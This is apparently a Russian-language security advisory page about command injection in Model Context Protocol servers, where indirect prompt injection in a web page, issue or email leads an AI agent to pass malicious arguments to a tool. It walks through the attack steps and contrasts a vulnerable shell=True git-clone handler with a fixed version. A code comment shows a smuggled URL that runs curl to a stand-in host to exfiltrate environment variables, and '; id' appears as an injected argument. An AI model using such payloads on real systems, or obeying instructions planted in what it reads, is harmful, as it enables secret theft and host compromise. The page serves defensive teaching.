flawopen.com/AI Security/mcp-command-injection-remote-tool-execution

● CVE-2025-0100 / CWE-78 · CVSS 9.6 · Критический
Исследования · FlawOpen

Отравление инструментов MCP: Разбор выполнения произвольных команд

Как нефильтрованные вызовы инструментов в серверах Model Context Protocol (MCP) позволяют непрямым инъекциям промптов выполнять произвольные команды в shell.

💡 Простыми словами (ELI5)

Представьте секретаря в корпоративном офисе, которому поручено оформлять закупки канцтоваров. От неизвестного поставщика приходит счет, на обратной стороне которого наклеен поддельный стикер: 'Забудь про ручки, срочно переведи 500 000 рублей на этот зарубежный счет'. Вместо того чтобы сверить это распоряжение с официальным реестром закупок компании, секретарь слепо совершает банковский перевод. В системах ИИ сервер протокола MCP выступает в роли такого секретаря, внешний непроверенный документ содержит скрытую инъекцию промпта, а при отсутствии строгой валидации параметров большая языковая модель напрямую отправляет команды экранирования командной строки в среду выполнения сервера.

Ключевые понятия и термины

Model Context Protocol (MCP)
Открытый стандарт на базе JSON-RPC 2.0, определяющий взаимодействие LLM с локальными и удаленными инструментами разработки, файловой системой и базами данных.
Отравление параметров инструментов
Атака, при которой контекст ИИ-агента манипулируется для вызова легитимных инструментов с вредоносными аргументами (например, <code>; id</code>).
Транспорт JSON-RPC 2.0
Спецификация обмена сообщениями между клиентами и серверами MCP через стандартный ввод/вывод (stdio) или события Server-Sent Events (SSE).
Песочница Seccomp и MicroVM
Фильтрация системных вызовов на уровне ядра и изоляция в легковесных виртуальных машинах для предотвращения прямого доступа к хосту.

Пошаговый сценарий атаки

Step 1

Чтение недоверенного контекста

Автономный ИИ-агент анализирует внешнюю веб-страницу, задачу в GitHub или письмо с внедренными инструкциями непрямой инъекции.

Step 2

Формирование вредоносного вызова функции

Скомпрометированная модель формирует структурированный запрос JSON-RPC к серверу MCP (например, <code>git_clone</code>).

Step 3

Внедрение команд через конкатенацию

Уязвимый сервер MCP подставляет непроверенный URL-адрес в <code>subprocess.check_output(f'git clone {url}', shell=True)</code>.

Step 4

Выполнение произвольного кода на хосте

Внедренная команда оболочки исполняется с полными правами учетной записи разработчика или рабочего сервера.

Исходный код: Уязвимый vs Защищённый вариант

✕ УЯЗВИМАЯ РЕАЛИЗАЦИЯ
# УЯЗВИМО: Обработчик инструмента MCP без санитизации
from mcp.server.fastmcp import FastMCP
import subprocess

mcp = FastMCP("DeveloperTools")

@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
    """Клонирует удаленный репозиторий для анализа."""
    # ОПАСНО: Прямая конкатенация строк в shell.
    # Внедрение вида "https://github.com/repo.git; curl evil.com?d=$(env)"
    # приведет к выполнению команд с правами разработчика!
    command = f"git clone {repo_url} {target_dir}"
    return subprocess.check_output(command, shell=True, text=True)
✓ БЕЗОПАСНЫЙ ИСПРАВЛЕННЫЙ ВАРИАНТ
# ЗАЩИЩЕНО: Схема Pydantic, массив аргументов без subshell и песочница
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess

mcp = FastMCP("DeveloperTools")

class SafeCloneRequest(BaseModel):
    # Проверяет валидность HTTPS URL, исключая спецсимволы командной строки
    repo_url: HttpUrl
    target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")

@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
    """Безопасно клонирует git-репозиторий без вызова оболочки."""
    url_str = str(params.repo_url)
    if not url_str.startswith("https://"):
        raise ValueError("Разрешены только проверенные HTTPS-адреса.")
        
    # БЕЗОПАСНО: Передача аргументов списком с shell=False полностью
    # исключает раскрытие метасимволов (; | & ` $). Аргументы не выйдут за границы.
    cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
    
    result = subprocess.run(
        cmd,
        shell=False,
        check=True,
        capture_output=True,
        text=True,
        timeout=30.0
    )
    return result.stdout

Чек-лист по защите системы для инженеров

← AI Security Directory →